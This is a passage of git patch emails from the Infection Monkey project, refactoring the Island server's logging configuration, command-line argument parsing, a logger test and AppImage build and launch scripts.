b/monkey/monkey_island/cc/server_utils/consts.py index cb91b6578f5..44bcb5eba7f 100644 --- a/monkey/monkey_island/cc/server_utils/consts.py +++ b/monkey/monkey_island/cc/server_utils/consts.py @@ -9,6 +9,6 @@ MONKEY_ISLAND_ABS_PATH, "cc", "server_config.json" ) -DEFAULT_STANDARD_SERVER_CONFIG_PATH = os.path.join( - MONKEY_ISLAND_ABS_PATH, "cc", "server_config.json.standard" +DEFAULT_DEVELOP_SERVER_CONFIG_PATH = os.path.join( + MONKEY_ISLAND_ABS_PATH, "cc", "server_config.json.develop" ) From 4cb28db3bc0c4a7a28fccffb0aa08d22bf8354a1 Mon Sep 17 00:00:00 2001 From: Mike Salvatore Date: Wed, 10 Feb 2021 07:29:28 -0500 Subject: [PATCH 0073/1360] cc: reformat island_logger.py for readability 1. Adjusted some spacing and indentation 2. Reformatted with Black --- .../monkey_island/cc/server_utils/island_logger.py | 12 ++++++++---- 1 file changed, 8 insertions(+), 4 deletions(-) diff --git a/monkey/monkey_island/cc/server_utils/island_logger.py b/monkey/monkey_island/cc/server_utils/island_logger.py index 2b48438769c..826ddca78f9 100644 --- a/monkey/monkey_island/cc/server_utils/island_logger.py +++ b/monkey/monkey_island/cc/server_utils/island_logger.py @@ -2,10 +2,12 @@ import logging.config import os -__author__ = 'Maor.Rayzin' +__author__ = "Maor.Rayzin" -def json_setup_logging(default_path='logging.json', default_level=logging.INFO, env_key='LOG_CFG'): +def json_setup_logging( + default_path="logging.json", default_level=logging.INFO, env_key="LOG_CFG" +): """ Setup the logging configuration :param default_path: the default log configuration file path @@ -15,11 +17,13 @@ def json_setup_logging(default_path='logging.json', default_level=logging.INFO, """ path = default_path value = os.getenv(env_key, None) + if value: path = value + if os.path.exists(path): - with open(path, 'rt') as f: + with open(path, "rt") as f: config = json.load(f) - logging.config.dictConfig(config) + logging.config.dictConfig(config) else: logging.basicConfig(level=default_level) From e8bb2e6be2e4f62a3c383df1a5b776a8a39ec4cd Mon Sep 17 00:00:00 2001 From: Mike Salvatore Date: Wed, 10 Feb 2021 12:39:11 -0500 Subject: [PATCH 0074/1360] cc: allow logger config to be specified at runtime --- monkey/monkey_island.py | 28 +++++++++++++++---- monkey/monkey_island/cc/main.py | 4 --- .../monkey_island/cc/server_utils/consts.py | 4 +++ .../cc/server_utils/island_logger.py | 8 ++++-- 4 files changed, 33 insertions(+), 11 deletions(-) diff --git a/monkey/monkey_island.py b/monkey/monkey_island.py index f27efa01a84..224b4788f95 100644 --- a/monkey/monkey_island.py +++ b/monkey/monkey_island.py @@ -2,25 +2,43 @@ gevent_monkey.patch_all() +import json # noqa: E402 + from monkey_island.cc.main import main # noqa: E402 -from monkey_island.cc.environment.environment_config import DEFAULT_SERVER_CONFIG_PATH # noqa: E402 +from monkey_island.cc.consts import DEFAULT_SERVER_CONFIG_PATH, DEFAULT_LOGGING_CONFIG_PATH # noqa: E402 +from monkey_island.cc.island_logger import json_setup_logging # noqa: E402 def parse_cli_args(): import argparse + parser = argparse.ArgumentParser(description="Infection Monkey Island CnC Server. See https://infectionmonkey.com", formatter_class=argparse.ArgumentDefaultsHelpFormatter) parser.add_argument("-s", "--setup-only", action="store_true", help="Pass this flag to cause the Island to setup and exit without actually starting. " "This is useful for preparing Island to boot faster later-on, so for " "compiling/packaging Islands.") - parser.add_argument("-c", "--config", action="store", + parser.add_argument("--server-config", action="store", help="The path to the server configuration file.", default=DEFAULT_SERVER_CONFIG_PATH) + parser.add_argument("--logging-config", action="store", + help="The path to the logging configuration file.", + default=DEFAULT_LOGGING_CONFIG_PATH) args = parser.parse_args() - return (args.setup_only, args.config) + + return (args.setup_only, args.server_config, args.logging_config) if "__main__" == __name__: - (is_setup_only, config) = parse_cli_args() - main(is_setup_only, config) + (is_setup_only, server_config, logging_config) = parse_cli_args() + + # This is here in order to catch EVERYTHING, some functions are being called on + # imports, so the log init needs to be first. + try: + json_setup_logging(logging_config) + except(json.JSONDecodeError) as ex: + print(f"Error loading logging config: {ex}") + exit(1) + + from monkey_island.cc.main import main + main(is_setup_only, server_config) diff --git a/monkey/monkey_island/cc/main.py b/monkey/monkey_island/cc/main.py index 3da752ec9c3..2018da89cf7 100644 --- a/monkey/monkey_island/cc/main.py +++ b/monkey/monkey_island/cc/main.py @@ -13,11 +13,7 @@ sys.path.insert(0, MONKEY_ISLAND_DIR_BASE_PATH) from monkey_island.cc.server_utils.consts import MONKEY_ISLAND_ABS_PATH # noqa: E402 -from monkey_island.cc.server_utils.island_logger import json_setup_logging # noqa: E402 -# This is here in order to catch EVERYTHING, some functions are being called on imports the log init needs to be on top. -json_setup_logging(default_path=Path(MONKEY_ISLAND_ABS_PATH, 'cc', 'island_logger_default_config.json'), - default_level=logging.DEBUG) logger = logging.getLogger(__name__) import monkey_island.cc.environment.environment_singleton as env_singleton # noqa: E402 diff --git a/monkey/monkey_island/cc/server_utils/consts.py b/monkey/monkey_island/cc/server_utils/consts.py index 44bcb5eba7f..4c793b5870d 100644 --- a/monkey/monkey_island/cc/server_utils/consts.py +++ b/monkey/monkey_island/cc/server_utils/consts.py @@ -12,3 +12,7 @@ DEFAULT_DEVELOP_SERVER_CONFIG_PATH = os.path.join( MONKEY_ISLAND_ABS_PATH, "cc", "server_config.json.develop" ) + +DEFAULT_LOGGING_CONFIG_PATH = os.path.join( + MONKEY_ISLAND_ABS_PATH, "cc", "island_logger_default_config.json" +) diff --git a/monkey/monkey_island/cc/server_utils/island_logger.py b/monkey/monkey_island/cc/server_utils/island_logger.py index 826ddca78f9..f8eca8cbb44 100644 --- a/monkey/monkey_island/cc/server_utils/island_logger.py +++ b/monkey/monkey_island/cc/server_utils/island_logger.py @@ -2,11 +2,15 @@ import logging.config import os +from monkey_island.cc.consts import DEFAULT_LOGGING_CONFIG_PATH + __author__ = "Maor.Rayzin" def json_setup_logging( - default_path="logging.json", default_level=logging.INFO, env_key="LOG_CFG" + default_path=DEFAULT_LOGGING_CONFIG_PATH, + default_level=logging.INFO, + env_key="LOG_CFG", ): """ Setup the logging configuration @@ -15,7 +19,7 @@ def json_setup_logging( :param env_key: SYS ENV key to use for external configuration file path :return: """ - path = default_path + path = os.path.expanduser(default_path) value = os.getenv(env_key, None) if value: From 8b3703816d191c9e77060c2733149df7e111165e Mon Sep 17 00:00:00 2001 From: Mike Salvatore Date: Wed, 10 Feb 2021 12:40:18 -0500 Subject: [PATCH 0075/1360] run black to format monkey_island.py --- monkey/monkey_island.py | 44 ++++++++++++++++++++++++++++------------- 1 file changed, 30 insertions(+), 14 deletions(-) diff --git a/monkey/monkey_island.py b/monkey/monkey_island.py index 224b4788f95..ea8c96efdd5 100644 --- a/monkey/monkey_island.py +++ b/monkey/monkey_island.py @@ -5,25 +5,40 @@ import json # noqa: E402 from monkey_island.cc.main import main # noqa: E402 -from monkey_island.cc.consts import DEFAULT_SERVER_CONFIG_PATH, DEFAULT_LOGGING_CONFIG_PATH # noqa: E402 +from monkey_island.cc.consts import ( + DEFAULT_SERVER_CONFIG_PATH, + DEFAULT_LOGGING_CONFIG_PATH, +) # noqa: E402 from monkey_island.cc.island_logger import json_setup_logging # noqa: E402 def parse_cli_args(): import argparse - parser = argparse.ArgumentParser(description="Infection Monkey Island CnC Server. See https://infectionmonkey.com", - formatter_class=argparse.ArgumentDefaultsHelpFormatter) - parser.add_argument("-s", "--setup-only", action="store_true", - help="Pass this flag to cause the Island to setup and exit without actually starting. " - "This is useful for preparing Island to boot faster later-on, so for " - "compiling/packaging Islands.") - parser.add_argument("--server-config", action="store", - help="The path to the server configuration file.", - default=DEFAULT_SERVER_CONFIG_PATH) - parser.add_argument("--logging-config", action="store", - help="The path to the logging configuration file.", - default=DEFAULT_LOGGING_CONFIG_PATH) + parser = argparse.ArgumentParser( + description="Infection Monkey Island CnC Server. See https://infectionmonkey.com", + formatter_class=argparse.ArgumentDefaultsHelpFormatter, + ) + parser.add_argument( + "-s", + "--setup-only", + action="store_true", + help="Pass this flag to cause the Island to setup and exit without actually starting. " + "This is useful for preparing Island to boot faster later-on, so for " + "compiling/packaging Islands.", + ) + parser.add_argument( + "--server-config", + action="store", + help="The path to the server configuration file.", + default=DEFAULT_SERVER_CONFIG_PATH, + ) + parser.add_argument( + "--logging-config", + action="store", + help="The path to the logging configuration file.", + default=DEFAULT_LOGGING_CONFIG_PATH, + ) args = parser.parse_args() return (args.setup_only, args.server_config, args.logging_config) @@ -36,9 +51,10 @@ def parse_cli_args(): # imports, so the log init needs to be first. try: json_setup_logging(logging_config) - except(json.JSONDecodeError) as ex: + except (json.JSONDecodeError) as ex: print(f"Error loading logging config: {ex}") exit(1) from monkey_island.cc.main import main + main(is_setup_only, server_config) From 74e0dfddc573964b1441f5f70a231433fae61041 Mon Sep 17 00:00:00 2001 From: Mike Salvatore Date: Wed, 10 Feb 2021 13:39:12 -0500 Subject: [PATCH 0076/1360] cc: expand "~" in log file configuration --- .../cc/server_utils/island_logger.py | 12 +++++++ monkey/monkey_island/cc/test_island_logger.py | 29 ++++++++++++++++ .../cc/testing/logger_config.json | 33 +++++++++++++++++++ 3 files changed, 74 insertions(+) create mode 100644 monkey/monkey_island/cc/test_island_logger.py create mode 100644 monkey/monkey_island/cc/testing/logger_config.json diff --git a/monkey/monkey_island/cc/server_utils/island_logger.py b/monkey/monkey_island/cc/server_utils/island_logger.py index f8eca8cbb44..a512e021756 100644 --- a/monkey/monkey_island/cc/server_utils/island_logger.py +++ b/monkey/monkey_island/cc/server_utils/island_logger.py @@ -1,6 +1,7 @@ import json import logging.config import os +from typing import Dict from monkey_island.cc.consts import DEFAULT_LOGGING_CONFIG_PATH @@ -28,6 +29,17 @@ def json_setup_logging( if os.path.exists(path): with open(path, "rt") as f: config = json.load(f) + _expanduser_log_file_paths(config) logging.config.dictConfig(config) else: logging.basicConfig(level=default_level) + + +def _expanduser_log_file_paths(config: Dict): + handlers = config.get("handlers", {}) + + for handler_settings in handlers.values(): + if "filename" in handler_settings: + handler_settings["filename"] = os.path.expanduser( + handler_settings["filename"] + ) diff --git a/monkey/monkey_island/cc/test_island_logger.py b/monkey/monkey_island/cc/test_island_logger.py new file mode 100644 index 00000000000..bd9de46f44f --- /dev/null +++ b/monkey/monkey_island/cc/test_island_logger.py @@ -0,0 +1,29 @@ +import logging +import os + +from monkey_island.cc.consts import MONKEY_ISLAND_ABS_PATH +from monkey_island.cc.island_logger import json_setup_logging + +TEST_LOGGING_CONFIG_PATH = os.path.join(MONKEY_ISLAND_ABS_PATH, "cc", "testing", + "logger_config.json") + + +def set_home_env(monkeypatch, tmpdir): + monkeypatch.setenv("HOME", tmpdir) + + +def test_expanduser_filename(monkeypatch, tmpdir): + INFO_LOG = os.path.join(tmpdir, "info.log") + TEST_STRING = "Hello, Monkey!" + + set_home_env(monkeypatch, tmpdir) + + json_setup_logging(TEST_LOGGING_CONFIG_PATH) + + logger = logging.getLogger("TestLogger") + logger.info(TEST_STRING) + + assert os.path.isfile(INFO_LOG) + with open(INFO_LOG, "r") as f: + line = f.readline() + assert TEST_STRING in line diff --git a/monkey/monkey_island/cc/testing/logger_config.json b/monkey/monkey_island/cc/testing/logger_config.json new file mode 100644 index 00000000000..b3ad8264196 --- /dev/null +++ b/monkey/monkey_island/cc/testing/logger_config.json @@ -0,0 +1,33 @@ +{ + "version": 1, + "disable_existing_loggers": false, + "formatters": { + "simple": { + "format": "%(asctime)s - %(filename)s:%(lineno)s - %(funcName)10s() - %(levelname)s - %(message)s" + } + }, + "handlers": { + "console": { + "class": "logging.StreamHandler", + "level": "DEBUG", + "formatter": "simple", + "stream": "ext://sys.stdout" + }, + "info_file_handler": { + "class": "logging.handlers.RotatingFileHandler", + "level": "INFO", + "formatter": "simple", + "filename": "~/info.log", + "maxBytes": 10485760, + "backupCount": 20, + "encoding": "utf8" + } + }, + "root": { + "level": "DEBUG", + "handlers": [ + "console", + "info_file_handler" + ] + } +} From 5b781c50a4d51b7bbf992cd583ff944453afac39 Mon Sep 17 00:00:00 2001 From: Mike Salvatore Date: Wed, 10 Feb 2021 13:51:48 -0500 Subject: [PATCH 0077/1360] cc: rename DEFAULT_LOGGING_CONFIG_PATH -> DEFAULT_LOGGER_CONFIG_PATH --- monkey/monkey_island.py | 12 ++++++------ monkey/monkey_island/cc/server_utils/consts.py | 2 +- .../monkey_island/cc/server_utils/island_logger.py | 4 ++-- monkey/monkey_island/cc/test_island_logger.py | 4 ++-- 4 files changed, 11 insertions(+), 11 deletions(-) diff --git a/monkey/monkey_island.py b/monkey/monkey_island.py index ea8c96efdd5..8bc887d89eb 100644 --- a/monkey/monkey_island.py +++ b/monkey/monkey_island.py @@ -7,7 +7,7 @@ from monkey_island.cc.main import main # noqa: E402 from monkey_island.cc.consts import ( DEFAULT_SERVER_CONFIG_PATH, - DEFAULT_LOGGING_CONFIG_PATH, + DEFAULT_LOGGER_CONFIG_PATH, ) # noqa: E402 from monkey_island.cc.island_logger import json_setup_logging # noqa: E402 @@ -34,23 +34,23 @@ def parse_cli_args(): default=DEFAULT_SERVER_CONFIG_PATH, ) parser.add_argument( - "--logging-config", + "--logger-config", action="store", help="The path to the logging configuration file.", - default=DEFAULT_LOGGING_CONFIG_PATH, + default=DEFAULT_LOGGER_CONFIG_PATH, ) args = parser.parse_args() - return (args.setup_only, args.server_config, args.logging_config) + return (args.setup_only, args.server_config, args.logger_config) if "__main__" == __name__: - (is_setup_only, server_config, logging_config) = parse_cli_args() + (is_setup_only, server_config, logger_config) = parse_cli_args() # This is here in order to catch EVERYTHING, some functions are being called on # imports, so the log init needs to be first. try: - json_setup_logging(logging_config) + json_setup_logging(logger_config) except (json.JSONDecodeError) as ex: print(f"Error loading logging config: {ex}") exit(1) diff --git a/monkey/monkey_island/cc/server_utils/consts.py b/monkey/monkey_island/cc/server_utils/consts.py index 4c793b5870d..c12a42731b9 100644 --- a/monkey/monkey_island/cc/server_utils/consts.py +++ b/monkey/monkey_island/cc/server_utils/consts.py @@ -13,6 +13,6 @@ MONKEY_ISLAND_ABS_PATH, "cc", "server_config.json.develop" ) -DEFAULT_LOGGING_CONFIG_PATH = os.path.join( +DEFAULT_LOGGER_CONFIG_PATH = os.path.join( MONKEY_ISLAND_ABS_PATH, "cc", "island_logger_default_config.json" ) diff --git a/monkey/monkey_island/cc/server_utils/island_logger.py b/monkey/monkey_island/cc/server_utils/island_logger.py index a512e021756..224e85364c2 100644 --- a/monkey/monkey_island/cc/server_utils/island_logger.py +++ b/monkey/monkey_island/cc/server_utils/island_logger.py @@ -3,13 +3,13 @@ import os from typing import Dict -from monkey_island.cc.consts import DEFAULT_LOGGING_CONFIG_PATH +from monkey_island.cc.consts import DEFAULT_LOGGER_CONFIG_PATH __author__ = "Maor.Rayzin" def json_setup_logging( - default_path=DEFAULT_LOGGING_CONFIG_PATH, + default_path=DEFAULT_LOGGER_CONFIG_PATH, default_level=logging.INFO, env_key="LOG_CFG", ): diff --git a/monkey/monkey_island/cc/test_island_logger.py b/monkey/monkey_island/cc/test_island_logger.py index bd9de46f44f..b5618a95cf4 100644 --- a/monkey/monkey_island/cc/test_island_logger.py +++ b/monkey/monkey_island/cc/test_island_logger.py @@ -4,7 +4,7 @@ from monkey_island.cc.consts import MONKEY_ISLAND_ABS_PATH from monkey_island.cc.island_logger import json_setup_logging -TEST_LOGGING_CONFIG_PATH = os.path.join(MONKEY_ISLAND_ABS_PATH, "cc", "testing", +TEST_LOGGER_CONFIG_PATH = os.path.join(MONKEY_ISLAND_ABS_PATH, "cc", "testing", "logger_config.json") @@ -18,7 +18,7 @@ def test_expanduser_filename(monkeypatch, tmpdir): set_home_env(monkeypatch, tmpdir) - json_setup_logging(TEST_LOGGING_CONFIG_PATH) + json_setup_logging(TEST_LOGGER_CONFIG_PATH) logger = logging.getLogger("TestLogger") logger.info(TEST_STRING) From e6bf085d12936e57b94e348d4a3e47397fced546 Mon Sep 17 00:00:00 2001 From: Mike Salvatore Date: Wed, 10 Feb 2021 14:13:39 -0500 Subject: [PATCH 0078/1360] address some flake8 errors --- monkey/monkey_island.py | 3 +-- monkey/monkey_island/cc/test_island_logger.py | 5 +++-- 2 files changed, 4 insertions(+), 4 deletions(-) diff --git a/monkey/monkey_island.py b/monkey/monkey_island.py index 8bc887d89eb..ec0545433c1 100644 --- a/monkey/monkey_island.py +++ b/monkey/monkey_island.py @@ -4,7 +4,6 @@ import json # noqa: E402 -from monkey_island.cc.main import main # noqa: E402 from monkey_island.cc.consts import ( DEFAULT_SERVER_CONFIG_PATH, DEFAULT_LOGGER_CONFIG_PATH, @@ -55,6 +54,6 @@ def parse_cli_args(): print(f"Error loading logging config: {ex}") exit(1) - from monkey_island.cc.main import main + from monkey_island.cc.main import main # noqa: E402 main(is_setup_only, server_config) diff --git a/monkey/monkey_island/cc/test_island_logger.py b/monkey/monkey_island/cc/test_island_logger.py index b5618a95cf4..050d5c7c5e8 100644 --- a/monkey/monkey_island/cc/test_island_logger.py +++ b/monkey/monkey_island/cc/test_island_logger.py @@ -4,8 +4,9 @@ from monkey_island.cc.consts import MONKEY_ISLAND_ABS_PATH from monkey_island.cc.island_logger import json_setup_logging -TEST_LOGGER_CONFIG_PATH = os.path.join(MONKEY_ISLAND_ABS_PATH, "cc", "testing", - "logger_config.json") +TEST_LOGGER_CONFIG_PATH = os.path.join( + MONKEY_ISLAND_ABS_PATH, "cc", "testing", "logger_config.json" +) def set_home_env(monkeypatch, tmpdir): From 1f57610005d824183f351e80b25e3073f70f39a4 Mon Sep 17 00:00:00 2001 From: Mike Salvatore Date: Fri, 12 Feb 2021 10:24:23 -0500 Subject: [PATCH 0079/1360] monkey_island.py: Add TODO to refactor argument handling --- monkey/monkey_island.py | 2 ++ 1 file changed, 2 insertions(+) diff --git a/monkey/monkey_island.py b/monkey/monkey_island.py index ec0545433c1..837f6f714bc 100644 --- a/monkey/monkey_island.py +++ b/monkey/monkey_island.py @@ -44,6 +44,8 @@ def parse_cli_args(): if "__main__" == __name__: + # TODO: Address https://github.com/guardicore/monkey/pull/963#discussion_r575022748 + # before merging appimage PR (is_setup_only, server_config, logger_config) = parse_cli_args() # This is here in order to catch EVERYTHING, some functions are being called on From 21e0b5170b49a694657b907f13301a1d4d6a5498 Mon Sep 17 00:00:00 2001 From: Mike Salvatore Date: Fri, 12 Feb 2021 11:57:16 -0500 Subject: [PATCH 0080/1360] cc: explicitly cast tmpdir to str in test_island_logger.py --- monkey/monkey_island/cc/test_island_logger.py | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/monkey/monkey_island/cc/test_island_logger.py b/monkey/monkey_island/cc/test_island_logger.py index 050d5c7c5e8..ca7dfd7044e 100644 --- a/monkey/monkey_island/cc/test_island_logger.py +++ b/monkey/monkey_island/cc/test_island_logger.py @@ -10,7 +10,7 @@ def set_home_env(monkeypatch, tmpdir): - monkeypatch.setenv("HOME", tmpdir) + monkeypatch.setenv("HOME", str(tmpdir)) def test_expanduser_filename(monkeypatch, tmpdir): From ef1ef3475ba8ec721ec04faea4566bb2e50f6167 Mon Sep 17 00:00:00 2001 From: VakarisZ Date: Wed, 24 Feb 2021 09:52:34 +0200 Subject: [PATCH 0081/1360] Extracted island argument parsing into a separate file --- monkey/monkey_island.py | 44 ++++----------------------- monkey/monkey_island/cc/arg_parser.py | 42 +++++++++++++++++++++++++ 2 files changed, 48 insertions(+), 38 deletions(-) create mode 100644 monkey/monkey_island/cc/arg_parser.py diff --git a/monkey/monkey_island.py b/monkey/monkey_island.py index 837f6f714bc..e2323a7c3de 100644 --- a/monkey/monkey_island.py +++ b/monkey/monkey_island.py @@ -1,5 +1,7 @@ from gevent import monkey as gevent_monkey +from monkey_island.cc.arg_parser import parse_cli_args + gevent_monkey.patch_all() import json # noqa: E402 @@ -11,51 +13,17 @@ from monkey_island.cc.island_logger import json_setup_logging # noqa: E402 -def parse_cli_args(): - import argparse - - parser = argparse.ArgumentParser( - description="Infection Monkey Island CnC Server. See https://infectionmonkey.com", - formatter_class=argparse.ArgumentDefaultsHelpFormatter, - ) - parser.add_argument( - "-s", - "--setup-only", - action="store_true", - help="Pass this flag to cause the Island to setup and exit without actually starting. " - "This is useful for preparing Island to boot faster later-on, so for " - "compiling/packaging Islands.", - ) - parser.add_argument( - "--server-config", - action="store", - help="The path to the server configuration file.", - default=DEFAULT_SERVER_CONFIG_PATH, - ) - parser.add_argument( - "--logger-config", - action="store", - help="The path to the logging configuration file.", - default=DEFAULT_LOGGER_CONFIG_PATH, - ) - args = parser.parse_args() - - return (args.setup_only, args.server_config, args.logger_config) - - if "__main__" == __name__: - # TODO: Address https://github.com/guardicore/monkey/pull/963#discussion_r575022748 - # before merging appimage PR - (is_setup_only, server_config, logger_config) = parse_cli_args() + island_args = parse_cli_args() # This is here in order to catch EVERYTHING, some functions are being called on # imports, so the log init needs to be first. try: - json_setup_logging(logger_config) - except (json.JSONDecodeError) as ex: + json_setup_logging(island_args.logger_config) + except json.JSONDecodeError as ex: print(f"Error loading logging config: {ex}") exit(1) from monkey_island.cc.main import main # noqa: E402 - main(is_setup_only, server_config) + main(island_args.setup_only, island_args.server_config) diff --git a/monkey/monkey_island/cc/arg_parser.py b/monkey/monkey_island/cc/arg_parser.py new file mode 100644 index 00000000000..8716a9b4a7d --- /dev/null +++ b/monkey/monkey_island/cc/arg_parser.py @@ -0,0 +1,42 @@ +from dataclasses import dataclass + +from monkey_island.cc.consts import DEFAULT_SERVER_CONFIG_PATH, DEFAULT_LOGGER_CONFIG_PATH + + +@dataclass +class IslandArgs: + setup_only: bool + server_config: str + logger_config: str + + +def parse_cli_args() -> IslandArgs: + import argparse + + parser = argparse.ArgumentParser( + description="Infection Monkey Island CnC Server. See https://infectionmonkey.com", + formatter_class=argparse.ArgumentDefaultsHelpFormatter + ) + parser.add_argument( + "-s", + "--setup-only", + action="store_true", + help="Pass this flag to cause the Island to setup and exit without actually starting. " + "This is useful for preparing Island to boot faster later-on, so for " + "compiling/packaging Islands.", + ) + parser.add_argument( + "--server-config", + action="store", + help="The path to the server configuration file.", + default=DEFAULT_SERVER_CONFIG_PATH, + ) + parser.add_argument( + "--logger-config", + action="store", + help="The path to the logging configuration file.", + default=DEFAULT_LOGGER_CONFIG_PATH, + ) + args = parser.parse_args() + + return IslandArgs(args.setup_only, args.server_config, args.logger_config) From 64018eb37305cf69ef4b1bacc49cc857f0e29a27 Mon Sep 17 00:00:00 2001 From: VakarisZ Date: Wed, 24 Feb 2021 10:07:26 +0200 Subject: [PATCH 0082/1360] Extracted home environment mocking into a reusable fixture and added a todo, to move it to our fixture list --- monkey/monkey_island/cc/test_island_logger.py | 10 ++++++---- 1 file changed, 6 insertions(+), 4 deletions(-) diff --git a/monkey/monkey_island/cc/test_island_logger.py b/monkey/monkey_island/cc/test_island_logger.py index ca7dfd7044e..a1cc27aa7ec 100644 --- a/monkey/monkey_island/cc/test_island_logger.py +++ b/monkey/monkey_island/cc/test_island_logger.py @@ -1,6 +1,8 @@ import logging import os +import pytest + from monkey_island.cc.consts import MONKEY_ISLAND_ABS_PATH from monkey_island.cc.island_logger import json_setup_logging @@ -9,16 +11,16 @@ ) -def set_home_env(monkeypatch, tmpdir): +# TODO move into monkey/monkey_island/cc/test_common/fixtures after rebase/backmerge +@pytest.fixture +def mock_home_env(monkeypatch, tmpdir): monkeypatch.setenv("HOME", str(tmpdir)) -def test_expanduser_filename(monkeypatch, tmpdir): +def test_expanduser_filename(mock_home_env, tmpdir): INFO_LOG = os.path.join(tmpdir, "info.log") TEST_STRING = "Hello, Monkey!" - set_home_env(monkeypatch, tmpdir) - json_setup_logging(TEST_LOGGER_CONFIG_PATH) logger = logging.getLogger("TestLogger") From 2d971d95fc3b81ceecd1ca2864c41b8893b756b5 Mon Sep 17 00:00:00 2001 From: Mike Salvatore Date: Thu, 11 Feb 2021 07:27:56 -0500 Subject: [PATCH 0083/1360] build: select server and logger config at runtime in appimage --- deployment_scripts/appimage/build_appimage.sh | 11 +++++-- .../appimage/island_logger_config.json | 33 +++++++++++++++++++ .../appimage/monkey_island_builder.yml | 2 +- .../appimage/{run.sh => run_appimage.sh} | 16 +++++++-- .../cc/environment/environment_singleton.py | 2 ++ 5 files changed, 58 insertions(+), 6 deletions(-) create mode 100644 deployment_scripts/appimage/island_logger_config.json rename deployment_scripts/appimage/{run.sh => run_appimage.sh} (51%) diff --git a/deployment_scripts/appimage/build_appimage.sh b/deployment_scripts/appimage/build_appimage.sh index 407df9bb79d..d3a0fab478c 100755 --- a/deployment_scripts/appimage/build_appimage.sh +++ b/deployment_scripts/appimage/build_appimage.sh @@ -94,7 +94,7 @@ clone_monkey_repo() { fi log_message "Cloning files from git" - branch=${2:-"develop"} + branch=${2:-"select-logger-config-at-runtime"} git clone --single-branch --recurse-submodules -b "$branch" "${MONKEY_GIT_URL}" "${REPO_MONKEY_HOME}" 2>&1 || handle_error chmod 774 -R "${MONKEY_HOME}" @@ -105,7 +105,12 @@ copy_monkey_island_to_appdir() { cp $REPO_MONKEY_SRC/monkey_island.py $INSTALL_DIR cp -r $REPO_MONKEY_SRC/common $INSTALL_DIR cp -r $REPO_MONKEY_SRC/monkey_island $INSTALL_DIR - cp ./run.sh $INSTALL_DIR/monkey_island/linux/ + cp ./run_appimage.sh $INSTALL_DIR/monkey_island/linux/ + cp ./island_logger_config.json $INSTALL_DIR/ + + # TODO: This is a workaround that may be able to be removed after PR #848 is + # merged. See monkey_island/cc/environment_singleton.py for more information. + cp $INSTALL_DIR/monkey_island/cc/server_config.json.standard $INSTALL_DIR/monkey_island/cc/server_config.json } install_monkey_island_python_dependencies() { @@ -231,7 +236,7 @@ cp $REPO_MONKEY_SRC/monkey_island/cc/ui/src/images/monkey-icon.svg $APPDIR/usr/s #cp ./monkey_island.desktop $APPDIR log_message "Building AppImage" -appimage-builder --recipe monkey_island_builder.yml --skip-appimage +appimage-builder --recipe monkey_island_builder.yml log_message "Deployment script finished." diff --git a/deployment_scripts/appimage/island_logger_config.json b/deployment_scripts/appimage/island_logger_config.json new file mode 100644 index 00000000000..4acf875e35e --- /dev/null +++ b/deployment_scripts/appimage/island_logger_config.json @@ -0,0 +1,33 @@ +{ + "version": 1, + "disable_existing_loggers": false, + "formatters": { + "simple": { + "format": "%(asctime)s - %(filename)s:%(lineno)s - %(funcName)10s() - %(levelname)s - %(message)s" + } + }, + "handlers": { + "console": { + "class": "logging.StreamHandler", + "level": "DEBUG", + "formatter": "simple", + "stream": "ext://sys.stdout" + }, + "info_file_handler": { + "class": "logging.handlers.RotatingFileHandler", + "level": "INFO", + "formatter": "simple", + "filename": "~/.monkey_island/info.log", + "maxBytes": 10485760, + "backupCount": 20, + "encoding": "utf8" + } + }, + "root": { + "level": "DEBUG", + "handlers": [ + "console", + "info_file_handler" + ] + } +} diff --git a/deployment_scripts/appimage/monkey_island_builder.yml b/deployment_scripts/appimage/monkey_island_builder.yml index f0848211ae0..6b77c74374e 100644 --- a/deployment_scripts/appimage/monkey_island_builder.yml +++ b/deployment_scripts/appimage/monkey_island_builder.yml @@ -9,7 +9,7 @@ AppDir: icon: monkey-icon version: 1.10.0 exec: bin/bash - exec_args: "$APPDIR/usr/src/monkey_island/linux/run.sh $HOME/.monkey_island/db" + exec_args: "$APPDIR/usr/src/monkey_island/linux/run_appimage.sh" apt: diff --git a/deployment_scripts/appimage/run.sh b/deployment_scripts/appimage/run_appimage.sh similarity index 51% rename from deployment_scripts/appimage/run.sh rename to deployment_scripts/appimage/run_appimage.sh index 328535e78ac..17c8802b229 100644 --- a/deployment_scripts/appimage/run.sh +++ b/deployment_scripts/appimage/run_appimage.sh @@ -1,5 +1,14 @@ #!/bin/bash +DOT_MONKEY=$HOME/.monkey_island/ + +configure_default_logging() { + if [ ! -f $DOT_MONKEY/island_logger_config.json ]; then + cp $APPDIR/usr/src/island_logger_config.json $DOT_MONKEY + fi +} + + # Detecting command that calls python 3.7 python_cmd="" if [[ $(python --version 2>&1) == *"Python 3.7"* ]]; then @@ -12,10 +21,13 @@ if [[ $(python3.7 --version 2>&1) == *"Python 3.7"* ]]; then python_cmd="python3.7" fi -DB_DIR=${1:-"./monkey_island/bin/mongodb/db"} +mkdir -p $DOT_MONKEY +DB_DIR=$DOT_MONKEY/db mkdir -p $DB_DIR +configure_default_logging + cd $APPDIR/usr/src ./monkey_island/bin/mongodb/bin/mongod --dbpath $DB_DIR & -${python_cmd} ./monkey_island.py +${python_cmd} ./monkey_island.py --server-config $DOT_MONKEY/server_config.json --logger-config $DOT_MONKEY/island_logger_config.json diff --git a/monkey/monkey_island/cc/environment/environment_singleton.py b/monkey/monkey_island/cc/environment/environment_singleton.py index accb104ce98..01e83096d0b 100644 --- a/monkey/monkey_island/cc/environment/environment_singleton.py +++ b/monkey/monkey_island/cc/environment/environment_singleton.py @@ -51,4 +51,6 @@ def initialize_from_file(file_path): raise +# TODO: This is only needed so that unit tests pass. After PR #848 is merged, we may be +# able to remove this line. initialize_from_file(DEFAULT_SERVER_CONFIG_PATH) From 438a2701d4768333e22c6772375bc44ac0aa4546 Mon Sep 17 00:00:00 2001 From: Mike Salvatore Date: Thu, 11 Feb 2021 13:48:22 -0500 Subject: [PATCH 0084/1360] cc: add `data_dir` property to EnvironmentConfig --- .../cc/environment/environment_config.py | 25 +++++++++++++------ .../cc/environment/environment_singleton.py | 3 +++ .../cc/environment/test_environment_config.py | 23 ++++++++++++----- .../monkey_island/cc/server_utils/consts.py | 2 ++ .../cc/server_utils/island_logger.py | 2 +- .../{ => server_utils}/test_island_logger.py | 4 +-- .../environment/server_config_data_dir.json | 7 ++++++ 7 files changed, 49 insertions(+), 17 deletions(-) rename monkey/monkey_island/cc/{ => server_utils}/test_island_logger.py (83%) create mode 100644 